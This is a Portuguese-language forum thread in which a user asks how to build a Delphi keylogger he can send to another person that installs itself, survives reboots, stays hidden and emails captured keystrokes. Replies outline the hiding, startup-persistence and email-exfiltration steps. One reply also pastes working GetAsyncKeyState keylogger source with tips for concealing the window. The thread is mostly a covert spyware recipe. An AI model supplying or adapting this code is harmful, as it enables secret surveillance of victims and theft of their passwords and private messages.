Dúvida - Criar Keylogger

[Locv 0]

Gostaria de saber se existe um tutorial, se n exister, se alguem pode criar. Gostaria de saber como fazer em Delphi, um keylogger, onde eu mande para alguém e essa pessoa n precise ativá-lo, eu simplesmente mando, um arquivo .exe(que seria o keylogger), essa pessoa executasse e fosse criado esse keylogger na pasta windows para quando o computador for reiniciado ele abra novamente, tudo isso discretamente, e no final mandasse a cada X tempo, um e-mail contendo tudo q foi digitado no computador daquela pessoa durante esse tempo. Essa é a minha dúvida.

Motivo: Não pretendo e nem quero prejudicar nínguem, até pq n sou de criar programas e postar na Wc, de forma que prejudique os demais. É uma dúvida minha, e pretendo testar em um outro pc meu(Indiretamente).

Obrigado a quem puder me ajudar!

Abraço!

[KiritoAndAsuna 2]

Gostaria de saber se existe um tutorial, se n exister, se alguem pode criar. Gostaria de saber como fazer em Delphi, um keylogger, onde eu mande para alguém e essa pessoa n precise ativá-lo, eu simplesmente mando, um arquivo .exe(que seria o keylogger), essa pessoa executasse e fosse criado esse keylogger na pasta windows para quando o computador for reiniciado ele abra novamente, tudo isso discretamente, e no final mandasse a cada X tempo, um e-mail contendo tudo q foi digitado no computador daquela pessoa durante esse tempo. Essa é a minha dúvida.

Motivo: Não pretendo e nem quero prejudicar nínguem, até pq n sou de criar programas e postar na Wc, de forma que prejudique os demais. É uma dúvida minha, e pretendo testar em um outro pc meu(Indiretamente).

Obrigado a quem puder me ajudar!

Abraço!

Para começar está postando na área errada!

Bom não tem esse tutorial aqui, acredito que ninguém vai fazer para entregar de mão beijada e a galera não ter trabalho nem um.

Um tutorial de 1 simples keylogger tem.

 

As funçoes que você quer são bem simples de fazer você mesmo pode conseguir com um pouco de estudo.

Para criar seu keylogger basta procurar no google. "Criando keylogger no delphi 7"

Não esqueça de esconder o form ¬¬ (Se você não sabe isso você não deve tentar proseguir).

 

Depois que você criar ele você deve notar que ele envia as teclas para 1 memo certo ?

blz vamos pegar e colocar em 1 timer de 5 minutos ou o tempo que deseja, o codigo para ele enviar o conteúdo do memo por email. .

 

Para enviar email no delphi procure no google por "Enviar email delphi indy"

 

 

Ok agora você ja criou seu keylogger e ja está enviando para o seu email.

 

Bom para copiar o arquivo para o windows e executar com o sistema você vai ter que fazer o delphi copiar e gravar no registro do windows.

+ou- assim.

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

 

Lembrando esse código você tem que modificar ao seu gosto, melhorar ele é so um exemplo.

Acho que depois disso tudo que le falei se você realmente se esforçar vai conseguir.

 

Flw.

 

 

[☢|EXPL01T3R|☣ 50]

não vejo porque fazer um keylogger em delphi mais enfim, achei isso:

Essa dica de Delphi é muuuuito boa! Um tempão atrás disso... Finalmente achei algo significante... Use por sua conta e risco!!!

Um método fácil de capturar TUDO O QUE É DIGITADO no computador com Windows, ou seja, um método fácil de criar um keylogger. É uma dica de programação, portanto não é para qualquer um. Uso o Borland Delphi 7, deve funcionar em diversas outras versões também...

Como é avançada, apesar de relativamente fácil, não vou comentar muito, ok?! Se você tiver dúvidas, comentários ou sugestões deixe um comentário neste post, e NÃO me envie e-mails perguntando porque não tenho tempo para responder sobre programação ou coisas avançadas.

Inicie o Delphi e crie um novo projeto. Insira um Memo e um Timer.

No código, defina a seguinte função:

function Coloca(txt: String): String;

begin

Form1.Memo1.Text := Form1.Memo1.Text + txt;

end;

E coloque no evento Timer do temporizador:

procedure TForm1.Timer1Timer(Sender: TObject);

var

keyloop, KeyResult : Integer;

begin

keyloop := 0;

repeat

KeyResult := GetAsyncKeyState(keyloop);

if KeyResult = -32767 then

begin

case keyloop of

8: Coloca(' [bACKSPACE] ');

9: Coloca(' [TAB] ');

12: Coloca(' [ALT] ');

13: Coloca(' [ENTER] ');

16: Coloca(' [sHIFT] ');

17: Coloca(' [CONTROL] ');

18: Coloca(' [ALT] ');

20: Coloca(' [CAPS LOCK] ');

21: Coloca(' [PAGE UP] ');

27: Coloca(' [ESC] ');

33: Coloca(' [PAGE UP] ');

34: Coloca(' [PAGE DOWN] ');

35: Coloca(' [END] ');

36: Coloca(' [HOME] ');

37: Coloca(' [sETA ESQUERDA] ');

38: Coloca(' [sETA ACIMA] ');

39: Coloca(' [sETA DIREITA] ');

40: Coloca(' [sETA ABAIXO] ');

45: Coloca(' [iNSERT] ');

46: Coloca(' [DEL] ');

91: Coloca(' [WIN ESQUERDA] ');

92: Coloca(' [WIN DIREITA] ');

93: Coloca(' [MENU POP-UP] ');

96: Coloca('0');

97: Coloca('1');

98: Coloca('2');

99: Coloca('3');

100: Coloca('4');

101: Coloca('5');

102: Coloca('6');

103: Coloca('7');

104: Coloca('8');

105: Coloca('9');

106: Coloca(' [NUM *] ');

107: Coloca(' [NUM +] ');

109: Coloca(' [NUM -] ');

110: Coloca(' [NUM SEP. DECIMAL] ');

111: Coloca(' [NUM /] ');

112: Coloca(' [F1] ');

113: Coloca(' [F2] ');

114: Coloca(' [F3] ');

115: Coloca(' [F4] ');

116: Coloca(' [F5] ');

117: Coloca(' [F6] ');

118: Coloca(' [F7] ');

119: Coloca(' [F8] ');

120: Coloca(' [F9] ');

121: Coloca(' [F10] ');

122: Coloca(' [F11] ');

123: Coloca(' [F12] ');

144: Coloca(' [NUM LOCK] ');

186: Coloca('Ç');

187: Coloca('=');

188: Coloca(',');

189: Coloca('-');

190: Coloca('.');

191: Coloca(';');

192: Coloca(' [APÓSTROFO] ');

193: Coloca('/');

194: Coloca(' [NUM PONTO] ');

219: Coloca('´');

220: Coloca(']');

221: Coloca('[');

222: Coloca('~');

226: Coloca('\');

else

if (KeyLoop >= 65) and (keyloop <= 90) then

Coloca(Chr(keyloop));

if (keyloop >= 32) and (keyloop <= 63) then

Coloca(Chr(keyloop));

//numpad keycodes

if (keyloop >= 96) and (keyloop <= 110) then

Coloca(Chr(keyloop));

end;

end; //case;

inc(keyloop);

until keyloop = 255;

end;

ah sim, ia esquecendo.. coloque o interval do timer para "1"... senão ficará difícil captar neh.. rs

e ++:

é bom dxar o memo desabilitado (com a propriedade Enabled := False), pq se vc digitar nele, irá aparecer o q vc digitou naturalmente MAIS o q o Timer fica adicionando a ele, e ficará repedito e confuso..

Então... Rode o programa (tecle F9).

Tecle qualquer coisa no teclado e observe! Isso funciona mesmo se sua janela não estiver ativa (digo, se estiver por trás das outras ou ocultas). Keylogger que se preze... Não fica em janela!

Oculte-o como preferir, e salve o conteúdo do Memo onde quiser. Aí é com você...

Dica: para ocultar o programa, digite Application.ShowMainForm := False, no código-fonte do projeto, depois do Application.Initialize e antes do Application.CreateForm... Mas aí você deverá ter criado um método para recuperar o que foi digitado, né?!

Adapte o programa como você quiser, afinal aqui apenas mostrei como é possível capturar o que foi digitado. Lembre-se de que ele poderá ser fechado pelo Gerenciador de tarefas do Windows, através da guia "Processos".

deixo claro que esse código realmente "funciona", eu testei e coloquei algumas coisas a mais. eh soh adaptar ao q vc quer fazer!

UM KEYLOGGER PODE SER VISTO COMO UM PROGRAMA DO MAL, QUE COLETA DADOS DO USUÁRIO SEM O CONSENTIMENTO DESTE, E ENVIA AS INFORMAÇÕES COLETADAS PARA ALGUM HACKER OU PESSOA DO MAL. MAS ESSE MESMO KEYLOGGER PODE SER USADO PARA IDENTIFICAR O FUNCIONÁRIO QUE ZÔA NOS COMPUTADORES DA EMPRESA, PARA VER O QUE SUA FILHA DE 10 ANOS TECLA NO MSN, ETC. NOTE QUE PODE SER DE USO PROIBIDO EM ALGUNS PAÍSES. EM OUTROS, O MAIS COMUM, PARA SER CONSIDERADO UM SOFTWARE LEGAL ELE DEVE INFORMAR QUE O SISTEMA ESTÁ SENDO MONITORADO. EM EMPRESAS, POR EXEMPLO, OS FUNCIONÁRIOS DEVEM USAR OS COMPUTADORES PARA FINS DA EMPRESA, NUNCA COMO USO PESSOAL. ISSO DEVE SER DEIXADO BEM CLARO EM CONTRATO.

NÃO ME RESPONSABILIZO POR NADA QUE POSSA ACONTECER DEVIDO O USO DESTES CÓDIGOS AQUI APRESENTADOS. USE COM CONSCIÊNCIA E RESPONSABILIDADE, SEMPRE.

Nada como uma dica dessas comemorando esse UM ANO do Explorando!

NOTA: Apesar de funcionar, essa forma de criar keylogger é uma gambiarra tremenda. Não é ideal usar um Timer para isso, devido o processamento, quem sabe em alguma situação com uso intensivo de CPU por outras aplicações algumas teclas deixem de ser capturadas. O melhor é estudar sobre Hooks usando a API do Windows que intercepta os caracteres enviados pelo teclado, mas falar disso fica para uma outra hora.

fonte:

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

 

 

 

basta pegar os dados e enviar por email

[ℛiqu∊ 16]

Atenção!

 

Seu tópico foi encontrado em área errada. Antes de postar em uma área, leia a descrição da mesma e procure saber se é adequada ou não para o seu post.

Caso ainda lhe reste dúvidas sobre o local correto para a postagem de seu tópico, contate a um moderador e pergunte qual a área correta.

 

Tópico Movido!